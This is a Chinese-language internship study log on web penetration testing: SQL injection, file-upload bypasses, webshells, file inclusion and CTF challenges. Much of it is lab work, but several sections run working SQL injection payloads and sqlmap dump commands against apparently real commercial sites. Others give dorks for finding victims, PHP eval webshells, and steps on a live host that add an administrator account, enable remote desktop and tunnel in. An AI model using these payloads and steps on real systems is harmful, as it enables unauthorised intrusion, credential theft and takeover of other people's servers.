网安实习
第一天
护网行动-漏洞提交
WEB静态站点搭建
fofa搜索: title="Get the pikachu"
安装WEB集成环境: PHPStudy 8.1.1.3
数据库 MySQL: PHPStudy 本体的用不了,所以使用本地MySQL
BurpSuite 工作原理
拦截代理,拦截所有通过代理的网络流量。主要拦截http和https协议的流量;
通过拦截,BurpSuite以中间人的方式,可以对客户端请求数据、服务端返回做各种处理,以达到安全评估测试的目的;
步骤一:数据包拦截
点击proxy模块 —> Options标签中可在ProxyListeners配置监听的地址与端口
默认本地的127.0.0.1:8080端口进行监听
步骤二:火狐浏览器中安装代理插件FoxyProxy并配置通往BurpSuite的代理信息
步骤三:
在第二步设置的挂上设置的浏览器代理并访问 http://burpsuite
地址下载证书文件:cacert.der
步骤四:
将下载的der文件导入到浏览器中,使BP能够抓取浏览器发送的HTTPS数据包;
关闭代理并进入浏览器设置页面about:preferences#searchResults搜索证书–>查看证书
在证书颁发机构中导入先前下载的的证书文件,勾选上对应的选项并点击”确定”
攻防实战1-锁群管理系统
1 | HTTP/1.1 200 OK |
添加Set-Cookie和末尾的0
攻防实战2-EasyCVR摄像头漏洞
随机在网站后面拼接以下路径如果回显数据则说明存在漏洞….这里我们需要其Password字段的MD5加密值…
1 | FOfa语法 |
1 | /api/v1/userlist?pageindex=0&pagesize=10 |
在登陆页面输入用户名与密码开启BP抓包进行改包….将未授权获取的Password字段的MD5加密值进行替换….放包进行登录成功!
Nuclei脚本使我快乐!!!基于Yaml语言进行漏洞检测,使用Go进行开发!nuclei.exe -t huijuView-UserInfo.yaml -l urls.txt -stats
1 | id: huijuView-UserInfo |
第二天
sql注入
http://49.235.188.138:5004/Less-1/index.php?id=9
SQL注入判断
1 | 注入类型判断 |
SQL注入流程
确定当前传入参数存在SQL注入漏洞后,可有两种方式进行注入攻击即手工注入与工具半自动化;
初学者需要充分掌握手工注入方法以便在后续存在WAF的情况下进行绕过,而工具半自动化选择掌握SQLmap能够更有效率的实现Web攻击!
1 | 注入流程 |
1 | 判断注入 |
漏洞原理:输入的id参数进行SQL注入漏洞
- 查询emails表的列名
?id=-1’union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’emails’–+ - 查询emails表的数据
?id=-1’union select 1,2,group_concat(id , email_id) from emails–+
注入知识点-information_schema库
在Mysql数据库5.0版本之后数据库的作用如下:其中information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等;并且在 MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等;
● information_schema:是MySQL自带的数据库,主要保持MySQL数据库服务器的系统信息,比如数据库的名称,数据库表的名称,字段名称,存储权限等。
● performance_schema:是MySQL系统自带的数据库,可以用来监控MySQL的各类性能指标。
● mysql:保存MySQL的权限、参数、对象和状态信息。
● test:测试数据库。
1 | # information_schema数据库中三个重要的表(记住) |
注入知识点-Mysql语句
1 | ● 查询当前数据库版本:select version(); |
SQL注入类型
1 | # 按照数据类型 |
SQLMap批量
1 | 执行命令 |
课堂例子
执行命令
python sqlmap.py -u “http://www.qlscdy.com/content.php?id=199“ –batch
-u 指定待检测的网址 –batch 自动应答SQLMAP工具询问的问题
python sqlmap.py -u “” –batch –dbs //查看所有的数据库
python sqlmap.py -u “” –batch –current-db //查看当前连接的数据库
python sqlmap.py -u “” –batch –tables -D “bdm791321216_db” //查看指定数据库下所有的表
python sqlmap.py -u “” –batch –columns -T “administrator” -D “bdm791321216_db” //查看指定数据库下指定表中的所有字段
python sqlmap.py -u “” –batch –dump -C “AdminID,AdminName,AdminPassword” -T “administrator” -D “bdm791321216_db” //查看指定字段的内容
加密-密码学
古典密码学:莫斯密码 凯撒密码 栅栏密码 …
现代密码学:
对称密码:加密/解密使用的是同一个密钥 AES DES 2DES 3DES RC4 5 6 Skipjack Twofish
非对称密码:加密/解密使用的是不同密钥 RSA Elgama ECC DH
哈希算法:MD5 SHA Hmac RIPEMD
123456 -> 32位固定长度的字符
https://www.rocketech.cc/index.php?id=1
注入实战
目标网站
http://shyute.net/about.php?id=1
http://www.aminter.co.th/news-detail.php?newsid=12
http://bz.u2006.com/HYX10764/mater.php?id=5
攻击姿势
http://www.aminter.co.th/news-detail.php?newsid=12
payload
?id=12 and updatexml(1,concat(0x7e,(select agent_name from ck_agent limit 0,1)),1)–+
?id=12 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name = ‘ck_member’ and table_schema=’aminter_aminter’),0x7e),1)–+
搜索语法
inurl:?id=1 USA
inurl:php?id=1 KZ
inurl:php?tid=1 JP
inurl:php?aid=1 RO
测试
python sqlmap.py -u “http://www.cnshm.cn/wap/productshow.php?id=590“ –batch –tables -D “c106db1” –technique=B –hex –tamper=”space2comment,randomcase,versionedkeywords” –user-agent=”Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36” –referer=”http://www.cnshm.cn/“ –timeout=30 –retries=5 –delay=3
python sqlmap.py -u “http://www.cnshm.cn/wap/productshow.php?id=590“ –batch –columns -T “en_xd_address” -D “c106db1”
python sqlmap.py -u “https://www.rocketech.cc/index.php?m=home&c=Lists&a=index&tid=1“ –batch
python sqlmap.py -u “https://www.rocketech.cc/index.php?m=home&c=Lists&a=index&tid=1“ –batch –dbs
“C:\Users\86139\Desktop\req.txt”
python sqlmap.py http://192.168.110.39:33639/?id=1 –batch
注册登录功能点注入
步骤一:使用BP抓取登录时产生的数据包!并将数据包的内容存放到req.txt的文本文档中!
步骤二:使用SQLMAP对文档中的HTTP请求数据包进行注入攻击!
python sqlmap.py -r C:\Users\86139\Desktop\req.txt –batch –random-agent –threads=10
-r 读取文档中的HTTP请求数据包进行注入攻击
–batch 自动应答SQLMAP的问题
–random-agent 在进行SQL注入时产生随机的User-agent的字段信息!
–level 3 请求数据包检测的等级 默认 3 共有5个等级
–threads=10 请求的线程数量,速度越高越快但有可能造成结果的不准确
从你提供的 sqlmap 扫描日志来看,目标系统存在 SQL 注入漏洞,并且已经成功识别出多个注入类型。以下是关键信息的总结与分析:
漏洞确认
注入参数:uname(POST 参数)
后端数据库:MySQL >= 5.5
操作系统:Linux Ubuntu
Web 技术栈:Apache 2.4.7 + PHP 5.5.9
已确认的注入类型
Boolean-based Blind SQLi
利用逻辑判断(如 AND 1=1 / AND 1=2)推断数据。
Payload 示例:
uname=admin’ AND 9808=9808 AND ‘gYyR’=’gYyRError-based SQLi
通过触发数据库错误回显敏感信息(如表名、字段值)。
利用了 BIGINT UNSIGNED 溢出错误。
Payload 示例包含 CONCAT 和 ELT 函数提取数据。Time-based Blind SQLi
通过 SLEEP() 延迟响应时间判断真假条件。
Payload 示例:
uname=admin’ AND (SELECT 8288 FROM (SELECT(SLEEP(5)))LxgT) AND ‘rVtF’=’rVtFUNION Query-based SQLi
成功执行 UNION SELECT,确认查询返回 2 列。
可用于直接读取数据库内容(如用户表、密码哈希等)。
Payload 使用 CONCAT 拼接十六进制字符串回显数据。
输出结果
所有扫描结果已保存至:
C:\Users\86139\AppData\Local\sqlmap\output\49.235.188.138
- 列出所有数据库
python sqlmap.py -r C:\Users\86139\Desktop\req.txt –batch –random-agent –threads=10 –dbs - 列出当前数据库的表
python sqlmap.py -r C:\Users\86139\Desktop\req.txt –batch –random-agent –threads=10 –tables - 导出特定表的数据(例如 users 表)
python sqlmap.py -r C:\Users\86139\Desktop\req.txt –batch –random-agent –threads=10 -D security -T users –dump - 尝试读取系统文件(如 /etc/passwd)
仅当 MySQL 用户有 FILE 权限时可行
python sqlmap.py -r C:\Users\86139\Desktop\req.txt –batch –random-agent –threads=10 –file-read=/etc/passwd - 尝试执行系统命令(需高权限 + 特定条件)
通常需要 –os-shell,但成功率取决于 MySQL 配置和权限
python sqlmap.py -r C:\Users\86139\Desktop\req.txt –batch –random-agent –threads=10 –os-shell
技能树
SQL整数型注入
-1 union select 3,database()
报当前的数据库,发现数据库为sqli,为什么是-1,id要等于不存在的一个数字.
-1 union select 3,group_concat(schema_name) from information_schema.schemata
报所有的数据库
-1 union select 3,group_concat(table_name) from information_schema.tables where table_schema="sqli"
根据报出的数据库,报表名字
-1 union select 3,group_concat(column_name) from information_schema.columns where table_name="flag"
知道了表flag,去报字段,报出flag的字段。
-1 union select 3,group_concat(flag) from sqli.flag
当报出字段,可以直接查询数据
1
获取当前网站数据库的名称
sqlmap.py -u “http://challenge-9fb338bc422c2305.sandbox.ctfhub.com:10800/?id=1“ –current-db
获取sqli数据库中的表名
sqlmap.py -u “http://challenge-9fb338bc422c2305.sandbox.ctfhub.com:10800/?id=1“ -D sqli –tables
获取flag表中的字段名
sqlmap.py -u “http://challenge-9fb338bc422c2305.sandbox.ctfhub.com:10800/?id=1“ -D sqli -T flag -columns
获取flag字段的内容
sqlmap.py -u “http://challenge-9fb338bc422c2305.sandbox.ctfhub.com:10800/?id=1“ -D sqli -T flag -C flag –dump
第三天
WebShell:网站后门,以asp aspx php jsp等后缀格式的文件主要功能提供命令执行的环境,同常配合Webshell管理工具进行使用!中国菜刀/中国蚁剑/冰蝎/哥斯拉..
GetShell:描述获取Webshell过程/动作!
反弹Shell:获取目标主机的cmd/powershell/bash 命令执行环境到攻击者电脑上过程!
第一关
https://github.com/c0ny1/upload-labs
1 | <?php @eval($_POST['sec']); ?> |
http://110.41.59.234/upload/wgshell.php
蚁剑
添加数据: http://110.41.59.234/upload/wgshell.php
连接密码:sec
第二关
基于 MIME 类型校验的文件上传逻辑
在浏览器中选择 shell.php 上传,用 Burp Suite 拦截 POST 请求。
修改 Content-Type
将请求体中的:Content-Type: application/octet-stream
改为:Content-Type: image/jpeg
放行请求
第三关
本pass禁止上传.asp|.aspx|.php|.jsp后缀文件!
绕过方法 1:利用未被过滤的可执行后缀
PHP 支持多种可解析的后缀,而黑名单仅覆盖了部分常见类型。
- phtml Apache 默认解析为 PHP
- php3/.php4/.php5 旧版 PHP 解析器支持
- php7 部分环境支持
- inc 若被 include 可能执行
- phar 可触发反序列化漏洞
- htaccess 可配合多段上传控制解析规则
绕过方法 2:大小写混淆(若未严格处理)
虽然代码中使用了 strtolower(),但如果攻击者使用 双写后缀 或 特殊编码,仍可能绕过:
shell.php.jpg → 实际保存为 shell.php.jpg(安全)
但若存在解析漏洞(如 Nginx 错误配置),可能按 .php 解析
不过本代码已重命名文件(YmdHis + rand + $file_ext),所以双后缀绕过在此无效,因为最终文件名不保留原始名。
绕过方法 3:利用 Windows NTFS 特性(已部分防御)$file_ext = str_ireplace('::$DATA', '', $file_ext);
绕过方法 4:空字节截断(Null Byte Injection)
在 PHP < 5.3.4 且 magic_quotes_gpc = Off 的环境下,可通过 %00 截断后缀:
文件名:shell.php%00.jpg
提取后缀:.jpg(合法)
实际保存:shell.php(因 %00 被截断)
第四关
绕过方法 1:利用未被包含的冷门 PHP 后缀
- phar PHP 归档格式,可触发反序列化漏洞(若使用 phar://)
- inc 若被 include() 包含,可执行代码
- module Drupal 模块文件,某些环境可执行
- 无后缀文件 若服务器配置 default_mimetype = application/x-httpd-php,可能直接解析
关键发现:.htaccess 不在黑名单中!
虽然 .htaccess 本身不是脚本后缀,但它是 Apache 的配置文件,可控制目录解析行为。若允许上传 .htaccess,攻击者可:
上传 .htaccess, AddType application/x-httpd-php .jpg
再上传 shell.jpg, <?php @eval($_POST['cmd']); ?>
访问 shell.jpg → 被当作 PHP 执行!
第五关
关键漏洞发现:缺少 strtolower() 导致大小写绕过
若 Web 服务器(如 Apache)配置不区分大小写(默认行为),则 xxx.PHP 会被当作 PHP 脚本执行!
绕过方法:上传 .PHP(全大写)
用户上传文件 shell.PHP
strrchr(‘shell.PHP’, ‘.’) → 返回 .PHP
$deny_ext 中有 .php、.pHp,但没有 .PHP(全大写)
in_array(‘.PHP’, $deny_ext) → false(允许上传)
最终文件保存为 202601061130001234.PHP
验证 Apache 行为:
Apache 在 Windows 和部分 Linux 配置下,文件系统不区分大小写,且 PHP 模块会匹配 .PHP、.PhP 等变体。
即使在 Linux(区分大小写),若 PHP 配置了:
1 | ; php.ini |
或使用 AddHandler 通配,也可能解析 .PHP。
第六关
绕过方法:上传无后缀文件(空后缀)
攻击步骤:
上传一个没有 . 的文件名,例如:shell(注意:不是 shell.,而是完全无点)
代码执行:
1 | $file_ext = strrchr('shell', '.'); // 返回 false(因为找不到 '.') |
判断:if (!in_array("", $deny_ext)) { ... }
最终文件路径:$img_path = UPLOAD_PATH . '/202601061145001234'; // 无后缀!
第七关
本pass禁止上传所有可以解析的后缀!
核心漏洞:直接使用原始文件名 + Windows 特性 = 绕过黑名单
虽然黑名单很全、后缀处理看似严密,但由于未对文件名进行重命名,攻击者可利用 Windows 文件系统特性(尤其是 点号 . 和空格截断)绕过检测。
关键前提:该代码运行在 Windows 系统(或兼容 Windows 行为的服务器)上。
恢复了 trim($_FILES[‘upload_file’][‘name’]) → 防止文件名前后空格绕过;/shell.php (末尾空格)
绕过方法:上传 shell.php.(末尾加点)
第八关
问题在于:deldot() 只删除末尾的一个点!
上传文件名为:shell.php..(末尾有两个 .)
对比你之前的代码,本段代码删除了这一行:
// $file_ext = str_ireplace(‘::$DATA’, ‘’, $file_ext);
这意味着:可利用 NTFS ADS(Alternate Data Streams)特性绕过!
绕过方法:上传 shell.php::$DATA
第九关
致命缺陷:直接使用原始文件名保存!
核心绕过方法:双写后缀(Double Extension)
由于文件被原样保存,攻击者可利用 Web 服务器解析规则 绕过后缀检测。
攻击步骤(Apache):上传shell.jpg.php
绕过方法:上传 shell.php..(两个点)
上传 shell.php..
deldot(“shell.php..”) → 删除最后一个点 → shell.php.
strrchr(“shell.php.”, ‘.’) → 返回 “.”
“.” 不在 $deny_ext 中 → 允许上传
保存为 UPLOAD_PATH/shell.php..
最佳绕过方案:上传 .user.ini(若未被过滤)
关键发现:.user.ini 不在 $deny_ext 黑名单中!
.user.ini 是 PHP 的用户级配置文件(类似 .htaccess for PHP)
可控制 PHP 行为,例如:auto_prepend_file = shell.jpg
攻击步骤:
上传 shell.jpg,内容为
上传 .user.ini,内容为 auto_prepend_file = shell.jpg
访问任意 PHP 文件(如 index.php)→ 自动包含 shell.jpg → 执行 WebShell!
.user.ini 是 upload-labs Pass-11 的标准解法,而你的 $deny_ext 未包含它!
第十关
致命缺陷:str_ireplace 是全局、无上下文的字符串替换
最佳绕过方案:利用大小写 + 未过滤后缀
但 $deny_ext 全是小写,而 str_ireplace 区分大小写!
绕过方法:上传 shell.pHp
str_ireplace 查找 “php”(小写)
“pHp” ≠ “php” → 不被替换
最终保存为 shell.pHp
第十一关
致命漏洞:$_GET[‘save_path’] 完全可控
核心绕过方法:空字节截断(Null Byte Injection)
原理
在 PHP < 5.3.4 且 magic_quotes_gpc = Off 的环境下,%00(URL 编码的空字节)会被解码为 \x00。
C 语言底层函数(如 move_uploaded_file)遇到 \x00 会截断字符串,后续内容被忽略。
攻击步骤
构造请求:
文件名:shell.jpg(合法后缀)
URL 参数:?save_path=../upload/shell.php%00
拼接路径:$img_path = "../upload/shell.php%00" . "/1220260106140000.jpg";
// 实际为:../upload/shell.php\x00/1220260106140000.jpg
move_uploaded_file 执行时:底层 C 函数读到 \x00 后停止,实际保存路径为:../upload/shell.php
文件内容为 shell.jpg(含 WebShell 代码)
访问 ../upload/shell.php → 成功执行 PHP 代码!
第十二关
与 Pass-11 区别是:上传路径由 $_POST[‘save_path’] 控制,而非 $_GET。
核心绕过方法:空字节截断(Null Byte Injection)
原理(同 Pass-11)
在 PHP < 5.3.4 且 magic_quotes_gpc = Off 的环境下:
%00 在 URL 中会被解码为 \x00(空字节)
C 语言底层函数(如 move_uploaded_file)遇到 \x00 会截断字符串
构造 POST 请求(使用 Burp Suite):
在 save_path 字段填入:../upload/shell.php%00
注意:在 Burp 中直接输入 %00,不要手动改十六进制
Burp 会自动将其编码为 \x00 字节
拼接路径:$img_path = "../upload/shell.php%00/1220260106143000.jpg";
// 实际内存中为:../upload/shell.php\x00/1220260106143000.jpg
move_uploaded_file 执行时:
底层 C 函数读到 \x00 后停止解析
实际保存路径为:../upload/shell.php
访问 http://target/upload/shell.php → 成功执行 WebShell!
这正是 upload-labs Pass-12 的标准解法1。
绕过原理完全相同,只是数据传输位置不同。
特性 Pass-11 Pass-12
路径参数来源 $_GET[‘save_path’] $_POST[‘save_path’]
利用方式 URL 中传 %00 POST body 中传 %00
Burp 操作 在 URL 栏修改 在 Repeater 的 POST 参数中修改
第十三关
制作图片马
准备图片和包含恶意代码的PHP文件
打开命令提示符:进入两个文件所在的目录。
执行合成命令:copy 1.png/b 2.php/a 3.png
检查结果:生成的3.png文件将包含恶意代码,且依然可以正常显示。
1 | cmd /c "copy /b yyy.png+wgshell.php syyy.png" # Windows |
上传图片马
许多靶场会对上传图片进行二次渲染(如 GD 库处理),导致末尾代码被清除。
解决方案:将代码插入图片不会被修改的位置
- 对于 JPG:
在 FF D8(文件头)之后、FF D9(文件尾)之前 插入代码
或利用 注释段(COM Marker: FF FE):1FF D8 ... FF FE 00 0C 3C 3F 70 68 70 20 ... FF D9
其中 3C 3F 70 68 70 = <?php - 对于 PNG:
在 IHDR 和 IDAT 块之间 插入 tEXt 块(合法文本块)
或直接在 文件末尾 IEND 之后 添加(部分系统允许) - 对于 GIF:
在 GIF89a 之后、图像数据之前 插入代码(但可能破坏动画)
更安全:在 文件末尾 添加(GIF 容错性强)
最简单方法:先上传一张普通图片,查看是否被二次渲染。若未被修改,则直接末尾追加即可。
上传与利用步骤
- 上传图片马
通过上传接口分别上传 shell.jpg、shell.png、shell.gif
确保返回的 URL 可访问(如 /upload/shell.jpg) - 利用文件包含漏洞
假设存在 include.php:<?php include($_GET['file']); ?>
构造请求:GET /include.php?file=/upload/shell.jpg HTTP/1.1 - 连接 WebShell
使用蚁剑、冰蝎或 Burp Suite 发送 POST 请求:POST /include.php?file=/upload/shell.jpgContent-Type: application/x-www-form-urlencodedcmd=system('whoami');
若返回结果(如 www-data),则成功!
POST /zhuye.php?ovo=/upload/cg.png HTTP/1.1
cmd=system(‘whoami’);
🚩挖掘
ls -la /
2cat /flag
grep -r “ctfhub{“ /var/www/
第四天
文件上传攻击实战
目标网站:http://437t8126e9.qicp.vip/
执行命令:whoami
查看计算机中的用户:net user
创建用户:net user wg 123@Admin /add
wg:新用户名
123@Admin:强密码(必须包含大小写字母、数字、特殊符号)
将新用户加入“远程桌面用户”组(可选但推荐)net localgroup "Remote Desktop Users" wg /add
若希望该用户拥有管理员权限(谨慎使用):net localgroup administrators wg /add
启用远程桌面功能
- 通过设置界面(图形化)
打开 设置(Win + I)→ 系统 → 远程桌面;
将 “启用远程桌面” 开关设为 开;
记下下方显示的 PC 名称(后续远程连接时需要)20。 - 通过 PowerShell(命令行)
1 | # 启用远程桌面 |
确保账户密码永不过期(避免登录失败)wmic useraccount where "name='RemoteUser'" set PasswordExpires=False
从另一台电脑远程连接
在控制端电脑上,按 Win + R,输入:mstsc
在“计算机”栏输入目标电脑的 IP 地址 或 PC 名称;
点击“连接”,输入刚创建的用户名(RemoteUser)和密码;
成功登录后即可完全控制目标电脑。
开启远程桌面直接登录!但失败…..
win+r –> 运行 —> mstsc 命令,打开远程桌面连接程序!
远程桌面连接失败的原因
(1)目标主机的远程桌面服务是关闭的
(2)目标主机的远程桌面服务端口(默认:3389)改成33893
(3)目标主机处于内网中,连接IP地址是路由器的IP地址!
0xd3d –> calc –> 3389
公有IP地址:
私有IP地址:A:10.0.0.0-10.255.255.255
B:172.16.0.0-172.31.255.255
C:192.168.0.0.-192.168.255.255
python neoreg.py generate -k 123@Admin
使用客户端文件连接服务端并搭建好代理通道!python neoreg.py -u http://437t8126e9.qicp.vip/wagwbgwcg.php -k 123@Admin
开3389
注册表开启
1 | 查询系统是否允许3389远程连接: |
NetSh启动服务
1 | >netsh firewall set service remoteadmin enable |
注入开启
1 | .asp?id=100;exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;-- |
MSF开启#run post/windows/manage/enable_rdp
WMIC开启
1 | >wmic /node:192.168.1.2 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 |
防火墙放行
1 | 允许进站 |
文件包含漏洞
文件包含
http://challenge-1c1221c094a5ac01.sandbox.ctfhub.com:10800/index.php?file=shell.txt
参考:
https://blog.csdn.net/mooyuan/article/details/151591062
远程文件包含参考
http://challenge-7fd43d7265d26c96.sandbox.ctfhub.com:10800/?file=data://text/plain,%3C%3Fphp%20readfile(%22/fl%22.%22ag%22)%3B%3F%3E
参考:
https://blog.csdn.net/weixin_68416970/article/details/141001678
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。
程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞;
文件包含漏洞在 PHP Web Application 中居多, 而在 JSP、ASP、ASP.NET 程序中却非常少,甚至没有,这是有些语言设计的弊端;在 PHP 中经常出现包含漏洞,但这并不意味这其他语言不存在;
Python —> import time,os
PHP —> include 1.php
高危函数
include()/include_once(如果该文件中的代码已经被包含,则不会再次包含)
找不到被包含的文件时只产生警告,脚本将继续执行
require()/require_once(如果该文件中的代码已经被包含,则不会再次包含)
找不到被包含的文件时会产生致命错误,并停止脚本
- require() 和 include() 函数的区别:使用 require() 函数包含文件时,只要程序执行,立即调用文件 ,而 include() 只有程序执行到该函数时才调用 。
- 其他用于包含的函数: highlight_file()、 show_source()、 readfile()、 file_get_contents()、 fopen()、file()
- 文件包含是执行被包含文件中的PHP代码,而文件打开则是读取文件中的内容不会执行!
本地文件包含(LFI)
指通过相对路径/绝对路径 的方式能打开并包含 本地文件的漏洞,大部分情况遇到的文件包含漏洞都是 LFI !
包含条件: 用户可以动态控制变量!
包含常用路径
Web应用文件
1 | 日志文件包含GetShell |
系统配置文件
1 | Windows |
1 | Payload |
包含图片GetShell
寻找网站上传点并把 php 恶意代码文件改成 jpg 上传到网站上在本地包含引入恶意代码,当文件被引入后代码就被执行;
步骤一:通过文件上传模块上传一张GIF图片并获取其地址…如下http://192.168.1.5/pikachu/vul/unsafeupload/uploads/2.gif
步骤二:在文件包含页面进行文件包含…并GetShellhttp://192.168.1.5/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/2.gif&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
步骤三:讲如下代码写入到图片马中并再次上传,并进行文件包含操作…
1 | <?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST['cmd']);?>")?> |
步骤四:进行文件包含后会在漏洞的当前目录下产生shell.php后面文件访问并连接….
包含日志GetShell
中间件例如 iis /apache/nginx 这些 web 中间件都会记录访问日志,如果访问日志中或错误日志中,存在有 php 代码也可以引入到文件包含中,如果日志有 php 恶意代码也可导致 getshell;
在linux下日志文件权限默认是 root 而php 的权限是 www-data 一般情况下都是读取不了,如果是 windows 环境下是可以权限是允许的;
1 | 获取Apache日志路径 |
步骤一:制作一个具有文件包含漏洞的文件如下..存在漏洞,并且日志会记录;
1 | 漏洞代码 |
步骤二:我们可以直接插入恶意的php代码,使其记录下来;需注意浏览器会把<>编码,可以使用burp绕过;
步骤三:日志记录,直接包含日志就可以了;注意在phpstudy里面可以,但是在linux里面可能就不行了,因为可能没有权限;
PHP伪协议
PHP 伪协议事实上就是支持的协议与封装协议
远程文件包含(RFI)
当远程文件开启时,可以包含远程文件到本地执行也称为RFI!
当 allow_url_fopen=On allow_url_include=ON 两个条件同时为 On 允许远程包含文件; —> phpinfo() l.php/info.php
步骤一:讲以下代码存储到1.txt中并开启HTTP服务器对外访问…
步骤二:进行文件包含并在当前漏洞该文件目录下获取shell.php文件并连接测试…
文件包含限制绕过
方法一:00截断
条件:
- magic_quotes_gpc = Off
- php 版本 < 5.3.4
获取 phpinfo.php 文件
payload:?action=phpinfo.php%00
方法二:路径长度截断
操作系统存在最大路径长度的限制。
可以输入超过最大路径长度的目录,这样系统就会将后面的路径丢弃,导致扩展名截断。
Windows下目录的最大路径256B
Linux下目录的最大路径长度为4096B
条件:windows 系统需要长于 197 字符 (即 >=198),超出的部分会被丢弃
Payload:./././././…/
str_replase(“./“,””,$url)
方法三:点号截断
点号截断适用于Windows系统,当点号的长度大于256B时,就可以造成扩展名截断
条件:windows 系统,点号需要长于 197
payload:……….
方法四:问号绕过payload:?action=http://192.168.152.143/phpinfo.php?
方法五:#绕过payload:?action=http://192.168.152.143/phpinfo.php%23
方法六:空格绕过
1 | payload: |
三:挖掘防护
1 | 挖掘姿势 |
1 | 漏洞防护 |
1 | 今日作业 |
第五天
题目类型
Web
Web类题目大部分情况下和网、Web、HTTP等相关技能有关。主要考察选手对于Web攻防的一些知识技巧。诸如SQL注入、XSS、代码执行、代码审计等等都是很常见的考点。一般情况下Web题目只会给出一个能够访问的URL。部分题目会给出附件
Pwn
Pwn类题目重点考察选手对于二进制漏洞的挖掘和利用能力,其考点也通常在堆栈溢出、格式化漏洞、UAF、Double Free等常见二进制漏洞上。选手需要根据题目中给出的二进制可执行文件进行逆向分析,找出其中的漏洞并进行利用,编写对应的漏洞攻击脚本(Exploit),进而对主办方给出的远程服务器进行攻击并获取flag通常来说Pwn类题目给出的远程服务器信息为nc IP_ADDRESS PORT,例如nc 1.2.3.4 4567这种形式,表示在1.2.3.4这个IP的4567端口上运行了该题目
Reverse
Re类题目考察选手逆向工程能力。题目会给出一个可执行二进制文件,有些时候也可能是Android的APK安装包。选手需要逆向给出的程序,分析其程序工作原理。最终根据程序行为等获得flag
Crypto
Crypto类题目考察选手对密码学相关知识的了解程度,诸如RSA、AES、DES等都是密码学题目的常客。有些时候也会给出一个加密脚本和密文,根据加密流程逆推出明文。
Misc
Misc意为杂项,即不包含在以上分类的题目都会放到这个分类。题目会给出一个附件。选手下载该附件进行分析,最终得出flag
常见的题型有图片隐写、视频隐写、文档隐写、流量分析、协议分析、游戏、IoT相关等等。五花八门,种类繁多。
web前置 Http协议
请求方法
使用 Burp Suite 抓包并修改 Method
将首行的 GET 改为 CTFHUB302跳转
使用 Burp Suite 抓包并修改
修改Referer: http://challenge-b232b18f85402a24.sandbox.ctfhub.com:10800/index.phpCookie
使用 Burp Suite 抓包
修改Cookie: admin=1基础认证
随便输入 admin / 123456
使用 Burp Suite 抓包登录页
用 Base64 解码 YWRtaW46MTIzNDU2 → 得到 admin:123456 → 验证机制
发送请求到 Intruder
设置爆破位置(Positions)
选中 Authorization 头中的 Base64 字符串(如 YWRtaW46MTIzNDU2)
点击 “Add §” → 变成 §YWRtaW46MTIzNDU2§
加载密码字典(Payloads)
Payload type: Simple list
Load 密码字典文件(如 pass.txt)
添加 Payload Processing
点击 “Payload Processing” → Add
第一步:添加前缀 → 输入 admin:
第二步:编码 → Base64 encode
开始爆破(Start Attack)
找到 200 的那行 → 查看 Response → 获取 flag!
- HTTP响应包源代码查看
就是F12看响应的源代码
上午学习
dirsearch-master的使用方法(基于Python开源)
dirsearch是一个扫描网站的目录和文件的命令行工具,并可以使用多线程快速扫描目标站点。
可以通过自定义字典进行扫描,同时支持正则表达式和自定义扩展名。
下载地址:https://github.com/maurosoria/dirsearch
安装dirsearch所需要的依赖:pip install -r requirements.txt
- 使用自带全量字典扫描单个url的目录
python dirsearch.py -u http://222.93.xx.xx:8090 -e* - 使用自带字典扫描单个url的目录
python dirsearch.py -u http://222.93.xx.xx:8090
python dirsearch.py -u http://123.56.252.12:7789 - 使用指定字典扫描批量url的目录
python d:\dirsearch-master\dirsearch.py -l D:\dirsearch-master\url\url.txt -w D:\dirsearch-master\db\01-Spring.txt -i 200
简单的使用方法
1 | //默认方式扫描单个url |
扫描结果记录位置dirsearch-master\reports\
默认的字典位置diresearch-master/db/dicc.txt
Dirsearch语法介绍
常用命令:
–version 显示dirsearch的版本
-h –help 帮助提示
-u –url 指定网址
-e 指定网站语言
-w 指定字典
-r 递归目录(跑出目录后,继续跑目录下面的目录)
-l –url-list=FILE 目标url文件路径
-i 保留的响应状态码(以逗号分隔,支持指定范围) 如(-i 200,300-399)
-x 排除的响应状态码(以逗号分隔,支持指定范围) 如(-x 301,500-599)
使用案例:
python d:\dirsearch-master\dirsearch.py -l D:\dirsearch-master\url\url.txt -w D:\dirsearch-master\db\01-http-or-https.txt -i 200
默认方式扫描单个url
python dirsearch.py -u http://123.56.252.12:7789
信息泄露
目录遍历
0/flag_in_here/2/?file=../fphpinfo
访问 http://xxx/phpinfo.php
按 Ctrl + F 搜索 DOCUMENT_ROOT
/phpinfo.php/var/www/html/flag
Ctrl + F 搜索 ctfhub备份文件下载
- 网站源码
使用 PowerShell 命令
1 | $url = "http://challenge-8ef57e737f8d7076.sandbox.ctfhub.com:10800" |
http://challenge-8ef57e737f8d7076.sandbox.ctfhub.com:10800/flag_196582157.txt
1 | $url = "http://challenge-55ef29324ed8fb34.sandbox.ctfhub.com:10800" |
vim缓存
http://http://challenge-378f782cd008ba03.sandbox.ctfhub.com:10800/.index.php.swp.DS_Store
http://challenge-12eaf594452fa884.sandbox.ctfhub.com:10800/.DS_Store
下载获取
http://challenge-12eaf594452fa884.sandbox.ctfhub.com:10800/678ab6e708886b19c13fac0010eedd5c.txt
漏洞提交
http://icp.sudafeng.com –> 存在漏洞的网站
www.sudafeng.com –> WEB服务器 –> 南京速达蜂互联网科技有限公司
sudafeng.com –》 搜索一级域名的所有的二级域!
域名组成:
